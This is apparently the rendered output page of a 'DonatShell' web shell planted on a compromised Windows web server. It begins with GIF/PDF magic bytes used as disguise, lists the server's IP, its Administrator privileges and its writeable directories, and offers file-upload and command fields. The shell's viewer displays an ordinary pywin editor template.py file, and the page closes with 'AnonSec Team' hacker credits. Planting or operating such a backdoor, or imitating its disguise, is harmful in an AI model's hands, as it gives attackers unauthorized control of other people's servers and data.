GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /Program Files (x86)/Certbot/pkgs/pythonwin/pywin/framework/editor/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /Program Files (x86)/Certbot/pkgs/pythonwin/pywin/framework/editor//template.py
import string
import win32ui
import win32api
from pywin.mfc import docview
import pywin.framework.window
import os
from . import frame

ParentEditorTemplate=docview.DocTemplate
class EditorTemplateBase(ParentEditorTemplate):
	def __init__(self, res=win32ui.IDR_TEXTTYPE, makeDoc=None, makeFrame=None, makeView=None):
		if makeFrame is None: makeFrame = frame.EditorFrame
		ParentEditorTemplate.__init__(self, res, makeDoc, makeFrame, makeView)

	def _CreateDocTemplate(self, resourceId):
		assert 0, "You must override this"
	def CreateWin32uiDocument(self):
		assert 0, "You must override this"
	def GetFileExtensions(self):
		return ".txt", ".py"
	def MatchDocType(self, fileName, fileType):
		doc = self.FindOpenDocument(fileName)
		if doc: return doc
		ext = os.path.splitext(fileName)[1].lower()
		if ext in self.GetFileExtensions():
			return win32ui.CDocTemplate_Confidence_yesAttemptNative
		return win32ui.CDocTemplate_Confidence_maybeAttemptForeign

	def InitialUpdateFrame(self, frame, doc, makeVisible=1):
		self._obj_.InitialUpdateFrame(frame, doc, makeVisible) # call default handler.
		doc._UpdateUIForState()
		
	def GetPythonPropertyPages(self):
		"""Returns a list of property pages
		"""
		from . import configui
		return [configui.EditorPropertyPage(), configui.EditorWhitespacePropertyPage()]

	def OpenDocumentFile(self, filename, bMakeVisible = 1):
		if filename is not None:
			try:
				path = os.path.split(filename)[0]
#				print "The editor is translating", `filename`,"to",
				filename = win32api.FindFiles(filename)[0][8]
				filename = os.path.join(path, filename)
#				print `filename`
			except (win32api.error, IndexError) as details:
				pass
#				print "Couldnt get the full filename!", details
		return self._obj_.OpenDocumentFile(filename, bMakeVisible)

Anon7 - 2022
AnonSec Team